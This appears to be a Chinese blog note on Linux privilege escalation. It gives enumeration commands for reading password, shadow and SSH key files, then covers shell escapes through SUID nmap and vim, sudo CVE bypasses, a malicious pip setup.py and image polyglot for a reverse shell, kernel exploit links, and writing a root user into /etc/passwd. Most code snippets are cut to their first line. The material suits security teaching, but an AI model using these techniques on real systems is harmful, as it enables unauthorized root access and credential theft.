linux提权笔记
简述
无法执行root 权限下的一下命令或者读取/root 下的重要文件。这个时候就需要提权,在root 权限下,还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户,开启其他端口等操作,达到权限持续控制。
boot2root 是提权种类的一种,本质还是与 Linux 的提权有关系。
Linux 提权主要是通过下面的方式:
- 收集 —— 将尽可能多的信息穷举出来
- 处理 —— 将信息分类,确定信息的有效性,按照其权重来排序
- 搜索 —— 擅用搜索引擎,发现、查找、利用漏洞代码
- 调整 —— 利用现有的信息,调整漏洞利用代码(不同的操作系统可能有不同的利用)
- 尝试 —— 通过大量的尝试来寻找正确答案
信息收集
操作系统
1 | uname -a # 打印所有可用的系统信息 |
环境变量
1 | env # 显示环境变量 |
打印机服务
1 | lpstat -a |
用户和群组
1 | cat /etc/passwd # 列出系统上的所有用户 |
用户权限信息
1 | whoami 当前用户名 |
进程和服务
1 | ps aux |
查看以 root 运行的进程
1 | ps aux | grep root |
查看安装的软件
1 | ls -alh /usr/bin/ |
服务/插件
检查有没有不安全的服务配置,和一些有漏洞的插件。
1 | cat /etc/syslog.conf |
计划任务
1 | crontab -l |
有无明文存放用户密码
1 | grep -i user [filename] |
比如说可能使用邮件明文传输密码;
又或者说 MySQL 中明文存放用户密码。
有无 ssh 私钥
1 | cat ~/.ssh/authorized_keys |
查看与当前机器通信的其他用户或者主机
1 | lsof -i |
日志文件
1 | cat /var/log/boot.log |
敏感文件
1 | cat /etc/passwd |
特殊的数据库、配置文件
1 | cat /var/apache2/config.inc |
交互式shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
查看安装过的工具
1 | find / -name perl* |
通讯与网络
系统有哪些 NIC?它是否连接到另一个网络?
1 | /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network |
网络配置设置是什么?你能从这个网络中找到什么?DHCP服务器?域名服务器?网关?
1 | cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname |
还有哪些其他用户和主机正在与系统通信?
1 | lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w |
缓存了什么?IP 和/或 MAC 地址
1 | arp -e route /sbin/route -nee |
数据包嗅探可能吗?能看到什么?
1 | tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 |
可提权SUID && GUID
参考资料https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
1 | find / -perm -1000 -type d 2>/dev/null # Sticky bit |
查看可写/执行目录
1 | find / -writable -type d 2>/dev/null # world-writeable folders |
proc 目录
Linux 系统上的 /proc
目录是一种文件系统,即 proc
文件系统。与其它常见的文件系统不同的是,/proc
是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
但需要注意,部分内容需要权限才可以读取。
1 | /proc/self/cmdline # 启动当前进程的完整命令 |
提权
SUID 提权
SUID 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。
在 Linux 中的权限位中通常显示为 s 或者 4000,所以无论是 s 位还是 4000 位都需要注意该程序是否可以进行利用,可以通过查找 https://gtfobins.github.io/ 来简要判断系统自带的程序是否可以用来提权。
常见的可用来提权的Linux 可执行文件有:
nmap, vim, find, bash, more, less, nano, cp
查看可以 suid 提权的可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
nmap
早期nmap 具有交互模式,version 2.02~5.21(5.2.0)。这里我用metasploitable2 来演示
namp -V
查看 nmap 版本信息
nmap --interactive
可以进入交互模式。
进入交互模式后即可随意使用各种需要 root 权限的命令。
5.2.0 之后,nmap 还可以通过执行脚本来提权。
1 | nse 脚本,shell.nse |
或者
1 | echo 'os.execute("/bin/sh")' > getshell |
vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
1 | vim /etc/shadow |
vim 运行shell
1 | vim |
同理,满足条件的 less 和 more 都可。
date
它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件。
1 | LFILE=file_to_read |
sudo
CVE-2023-22809
sudoedit
需要从环境变量中读取
SUDO_EDITOR
、VISUAL
和
EDITOR
,当攻击者在这些环境变量中修改为
EDITOR='nano -- /flag'
时,--
参数将越过保护机制。
CVE-2021-3156
sudoedit
错误的转义 /
导致触发缓冲区溢出漏洞。输入命令
1 | sudoedit -s / |
可以测试是否存在漏洞,如果输出 usage 则无此漏洞影响。
CVE-2019-14287
如果说 /etc/sudoers
中存在额外的用户有
1 | hacker ALL=(ALL,!root) /usr/bin/id |
那么表示允许 hacker
账户以非 root
外身份运行 /usr/bin/id
,而无法以 root
用户运行。
但 sudo -u
允许我们通过指定 UID
的方式执行命令,当使用命令
1 | sudo -u#-1 id |
则会让我们绕过权限保护运行程序。
pip
pip
在执行 install 命令时,会自动运行模块中的
setup.py
脚本。
sudo 或者 SUID 都可以。
FakePip
参考 https://github.com/0x00-0x00/FakePip 可以做一个反弹 shell,将信息反弹到 VPS 上,仅需命令
1 | pip install . |
linux pip
/dev/tty
可以略过标准输出,直接将信息输出到终端上。
1 | f = open("/dev/tty", "w") |
例如写一个 setup.py
如上,随后将其打包成
ZIP(这是最简单的方式)。
需要注意,压缩包内必须有一个文件夹,文件夹下才是
setup.py
,即
1
2
3 - qsdztest.zip
-- qsdztest
--- setup.py
直接安装这个 ZIP 文件即可。
rce.png
参考 https://github.com/52piaoyu/linux-pip-rce,pip
会忽略图片信息,直接查找 ZIP 进行解压,然后运行其中的
setup.py
,结合上一条,我们可以对 qsdztest.zip
与图片进行拼接,如
1 | cat qsdz.png qsdztest.zip qsdz.png > qsdzrce.png |
好处是可以直接将图片上传到图床上,方便传播。
利用内核漏洞
比如说对于 Ubuntu 16.04 可以直接查找漏洞的 exp 代码。
1 | searchsploit Ubuntu 16.04 |
将 exp 下载下来,解压,编译,运行,即可 get root
权限。
还有大名鼎鼎的CVE-2016-5195,脏牛漏洞。(Linux kernel >=2.6.22 并且Android也受影响
- https://github.com/timwr/CVE-2016-5195
- https://github.com/gbonacini/CVE-2016-5195
- 复现参考:https://www.jianshu.com/p/df72d1ee1e3e
其他内核漏洞:
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell
https://www.exploit-db.com/exploits/37292/
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
https://www.exploit-db.com/exploits/39166/
Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation
https://www.exploit-db.com/exploits/39230/
提示:内核exploit提权有风险,有可能会崩溃系统。
利用root无密码执行
简单来说,就是一个脚本,比如 py,sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
比如常见的:
- 写入一个 root 身份权限的用户进入
/etc/passwd
文件中
利用环境变量提权
PATH
是 Linux 和 Unix
操作系统中的环境变量,它指定存储可执行程序的所有 bin 和 sbin
目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有
/sbin
和 /usr/sbin
条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
1 | echo $PATH |
如果你在PATH变量中看到.
,则意味着登录用户可以从当前目录执行二进制文件/脚本
我们先编译一个可执行文件shell。
1 | #include<unistd.h> |
在给该文件赋予权限。
然后查看它的权限可以发现是有s
位,即suid。
现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null
来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面。
更多的操作可以参考:https://xz.aliyun.com/t/2767
利用存在漏洞的命令
不可否认的是命令很多,我们不可能熟悉每一种命令的漏洞。不过我们每次遇到了都可以用searchsploit
来寻找可利用的 exp。
或者还可以使用 https://gtfobins.github.io/ 来查找漏洞。
更多
更多相关的可以查看 https://xz.aliyun.com/t/7924